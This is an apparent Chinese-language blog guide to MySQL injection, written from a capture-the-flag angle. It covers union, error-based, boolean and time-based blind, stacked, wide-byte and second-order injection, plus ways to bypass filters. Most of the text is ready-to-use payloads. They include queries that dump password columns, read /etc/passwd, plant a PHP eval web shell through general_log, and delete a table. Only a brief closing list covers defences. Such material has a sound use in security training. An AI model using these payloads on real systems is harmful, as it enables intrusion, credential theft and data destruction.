MySQL 注入完整指南

MySQL 注入完整指南

什么是 SQL 注入

SQL 注入是一种将 SQL 代码插入或添加到应用的输入参数中的攻击,之后再将这些参数传递给后台的 SQL 服务加以解析并执行。

凡是构造 SQL 语句的步骤均存在被潜在攻击的风险。SQL 注入的主要方式是直接将代码插入参数中,这些参数会被置入 SQL 命令中加以执行。

SQL 注入产生的条件:用户控制了 SQL 语句的一部分,用户的输入不再是一个输入参数,而成为了符合语法的 SQL 语句。

SQL 注入的类型

按数据结构划分:

  • 数字型:"select * from product where id = ". $_GET['id']
  • 字符型:"select * from person_info where username='" . $_GET['name']."'"

按回显方式划分:

有回显:

  • 联合查询 -> 构造联合查询语句,直接查看查询结果
  • 报错注入 -> 构造报错语句,在报错中查看结果
  • 堆查询 -> 多行语句执行,进而实现想要达到的目的

无回显:

  • 盲注 -> 布尔型/时间型 通过某种手段”爆破”结果

一、联合查询注入

1. 判断是否存在注入,字符型还是数字型

整数型: 1 and 1=1(正确)1 and 1=2(错误)

字符型: 1' and 1=1 --+(正确)1' and 1=2 --+(错误)

注:--+ 为注释可用 --(空格)或者 # 代替

2. 猜解 SQL 查询语句中的字段数

使用后面拼接 order by(数字)# 进行猜解

3. 确定显示的字段顺序

1' union select 1,2 #

4. 获取当前数据库的表名

1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #

group_concat(): 用于将输出合并到一行

group_concat() 被屏蔽时可使用 limit 进行逐行输出

5. 获取表中字段名

1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #

6. 获取字段内容

1' union select 1,2,group_concat(password) from ctfshow_user2

补充:获取数据库名

1' union select 1,2,group_concat(schema_name) from information_schema.schemata

二、报错注入

一般前提:union 被过滤时

exp()

exp(~(select * from(select user())a))
# ~符号为运算符,意思为一元字符反转
exp(710-(表达式))#真不报错,假报错

适用版本:5.5.5~5.5.49

还有类似的函数如 pow(), abs(), cot():

pow(1+(表达式),99999999999)
cot(表达式)

updatexml

updatexml(1,concat(0x7e,(select user()),0x7e),1)
#0x7e~
#使用版本5.1.5+

extractvalue

extractvalue(1,concat(0x7e,(select user()),0x7e))

rand()+group()+count()

select count(*),2,concat(':',(select database()),':',floor(rand()*2))as a from information_schema.tables group by a;

几何函数

GeometryCollectionid=1 AND GeometryCollection((select * from (select* from(select user())a)b))
polygon()id=1 AND polygon((select * from(select * from(select user())a)b))
multipoint()id=1 AND multipoint((select * from(select * from(select user())a)b))
multilinestring()id=1 AND multilinestring((select * from(select * from(select user())a)b))
linestring()id=1 AND LINESTRING((select * from(select * from(select user())a)b))
multipolygon()id=1 AND multipolygon((select * from(select * from(select user())a)b))

三、布尔盲注

盲注分类

布尔盲注: 回显不同

时间盲注: 响应时间不同

布尔状态例如:

  • 回显不同(内容、长度)
  • HTTP 响应状态码不同(200、500)
  • HTTP 响应头变化(无条件重定向、设置 cookie)
  • 基于错误的布尔注入(MySQL 是否报错)

布尔盲注判断:

id=2333' and 1=1%23 (正确状态)
id=2333' and 1=2%23 (错误状态)
id=2333' and ascii(substring((select database()),1,1))>-1%23 (正确状态)
id=2333' and ascii(substring((select database()),1,1))>127%23 (错误状态)

注:url 中不能直接使用 &、#,需要使用对应的 url 编码

字符串截取方法

  1. substr()与substring()

SUBSTR (str, pos, len) 过滤了逗号时可用 SUBSTR (str FROM pos FOR len) 替代

  1. right()

两个参数,配合 ascii() 可以从右往左逐词爆破

ascii() 可用 ord() 代替

  1. left()+reverse()

即:reverse(left(‘abc’,2)) 配合 ascii() 即可从左往右逐词爆破

  1. trim()
TRIM([BOTH/LEADING/TRAILING] 目标字符串 FROM 源字符串)
select Trim(leading 'a' from 'abcd') regexp trim(LEADING 'x' from 'abcd')
#返回0
  1. insert()
select insert('abcdef',1,1,'');
#bcdef
select insert((insert('abcdef',1,0,'')),2,99999,'');
#a

比较方法

  1. > < =
  2. like:SQL LIKE 子句中使用百分号 % 字符来表示任意字符
  3. 正则表达式 regexp rlike:regexp 是不区分大小写的,需要大小写敏感需要加上 binary 关键字
  4. betweenexpr [NOT] BETWEEN begin_expr AND end_expr
  5. in:加 binary 可变为大小写敏感
  6. and / &&:逻辑与运算符
  7. **or /   **:逻辑或运算符
  8. Xor:逻辑异或,当 # 与 —+ 被注释时可以考虑
  9. order by 比较盲注
select * from users where (select 'a' union select substr(group_concat(password),1,1) from users where username='admin' order by 1 limit 1)='a';

四、时间盲注

一般使用 Sleep() 函数

1' and sleep(10) --+
#判断有无延时

if() 函数

if() 函数有三个参数,其用法为 if(a,b,c)

  • 第一个参数 a:判断语句,返回结果为真假
  • 第二个参数 b:如果前面的判断返回为真,则执行 b
  • 第三个参数 c:如果前面的判断返回为假,则执行 c

case() 函数

select case 'a' when 'a' then 1 else 0 end
#返回1

过滤了 sleep 时

  1. benchmark
select benchmark(1e7,sha1('gehaotian'))#约要1.5
select benchmark(1000000,md5('gehaotian'))#约要1.5
  1. 笛卡尔积
select count(*) from information_schema.columns A,information_schema.columns B;
#尽量用超时判断
  1. get_lock

使用场景有限制,需要提供长连接。

需先在一个 session 中锁定:

select get_lock('haptian',1);

在另一个 session 中 get_lock:

select get_lock('haotian',5);
#用时5
  1. 正则表达式
select rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',30),'b');

五、无列名盲注

获取数据库名和表名

当过滤 in/or 时候,意味着不能继续使用 information_schema 库

1. sys

#查询所有的库
SELECT table_schema FROM sys.schema_table_statistics GROUP BY table_schema;
SELECT table_schema FROM sys.x$schema_flattened_keys GROUP BY table_schema;

#查询指定库的表
SELECT table_name FROM sys.schema_table_statistics WHERE table_schema='mspwd' GROUP BY table_name;

2. mysql 方法(不过滤 in)

select table_name from mysql.innodb_table_stats where database_name=database();
select table_name from mysql.innodb_index_stats where database_name=database();

无列名盲注方法

1. union 重命名法

select a.2 from (select 1,2,3 union select * from users)a;
#前提是users有三列

2. 比较法

select (select 'admin', '0zzz', 'zzzzzzzzzz')<(select * from users where username='admin' limit 1);

六、文件操作与堆叠注入

MySQL 变量

SHOW VARIABLES;#获取MySQL全局变量
show variables like "%secure_file%";

MySQL 读文件

secure_file_priv

当 secure_file_priv 的值为 null,表示限制 mysqld 不允许导入 导出。默认是 null
当 secure_file_priv 的值为 /tmp/,表示限制 mysqld 的导入 导出只能发生在 /tmp/ 目录下
当 secure_file_priv 的值没有具体值时,表示不对 mysqld 的导入 导出做限制
Select load_file('/flag');
SELECT CONVERT(LOAD_FILE("/etc/passwd") USING utf8);

MySQL 写文件

select "<?php phpinfo();?>" into outfile "/tmp/1.php";
select "<?php phpinfo();?>" into dumpfile "/tmp/1.php";
#outfile函数可以导出多行,而dumpfile只能导出一行数据
#outfile函数在将数据写到文件里时有特殊的格式转换,而dumpfile则保持原数据格式

当 secure_file_priv 为 NULL:

#堆叠注入
set global general_log=on;
set global general_log_file='C:/phpStudy/WWW/789.php';
select '<?php eval($_POST["a"]) ?>';

堆叠注入

MySQL 可以执行多条语句,多条语句之前用 ; 做分隔。

条件: mysqli->multi_query(sql);

select * from users where id =1;delete from users;

七、宽字节注入、二次注入、约束攻击

宽字节注入

宽字节注入主要是源于程序员设置数据库编码与 PHP 编码设置为不同的两个编码。

重点语句:

$conn->query("set names 'gbk';");
用户名输入:admin%df' or 1=1#
函数转义后为: admin%df\' or 1=1#
SET character_set_client ='gbk'后:admin運' or 1=1#
执行语句:... where username='admin運' or 1=1#'

约束攻击

INSERT 语句:截取前 20 个字符 SELECT 语句:输入什么就是什么

二次注入

攻击者构造的恶意 payload 首先会被服务器存储在数据库中,在之后取出数据库在进行 SQL 语句拼接时产生的 SQL 注入问题。

如:留言板修改,密码修改等。


八、SQL 注入绕过技巧

空格过滤绕过

/**/ () %0a ` tap 两个空格

过滤 or and xor not

and = &&
or = ||
xor = |
not = !

过滤 =

1.不加通配符的 like rlike
2.使用大小于号
3.使用!<>,<>相当于!=

过滤大小于号

1.greatest(n1,n2,n3):返回n中的最大值
select * from users where id = 1 and greatest(ascii(substr(username,1,1)),1)=116;
least同,返回最小值

2.strcmp(str1,str2):若所有的字符串均相同,则返回STRCMP(),若根据当前分类次序,第一个参数小于第二个,则返回 -1,其它情况返回 1

3.in

4.between

过滤引号绕过

使用十六进制编码:

select column_name from information_schema.tables where table_name=0x7573657273;

宽字节:

%df'代替

过滤逗号

1.select substr("string",1,3);
可替换为:select substr("string" from 1 for 3);#1开始读3个长度的字符串

2.union select 1,2,3
可用joinunion select * from (select 1)a join (select 2)b join(select 3)c

过滤 select

  1. 使用 handler
handler users(表) open as hd; #指定数据表进行载入并将返回句柄重命名
handler hd read first; #读取指定表/句柄的首行数据
handler hd read next; #读取指定表/句柄的下一行数据
handler hd close; #关闭句柄
  1. 使用 rename
1';
RENAME TABLE `words` TO `words2`;
RENAME TABLE `1919810931114514` TO `words`;
ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;#
  1. MySQL 预处理
1';PREPARE st from concat('s','elect', ' * from `1919810931114514` ');EXECUTE st;#
#prepare后接语句,所以可以使用字符串操作,拼接等

总结

MySQL 注入是 Web 安全中常见的漏洞类型,掌握各种注入方法和绕过技巧对于安全测试和防护都至关重要。在实际应用中,应该:

  1. 使用参数化查询(Prepared Statements)
  2. 对用户输入进行严格验证和过滤
  3. 使用最小权限原则
  4. 定期进行安全审计和渗透测试



Enjoy Reading This Article?

Here are some more articles you might like to read next:

  • 灵巧手遥操方案调研
  • lerobot探索
  • 提问的智慧
  • Markdown 功能使用指南
  • ROS 机器人开发实践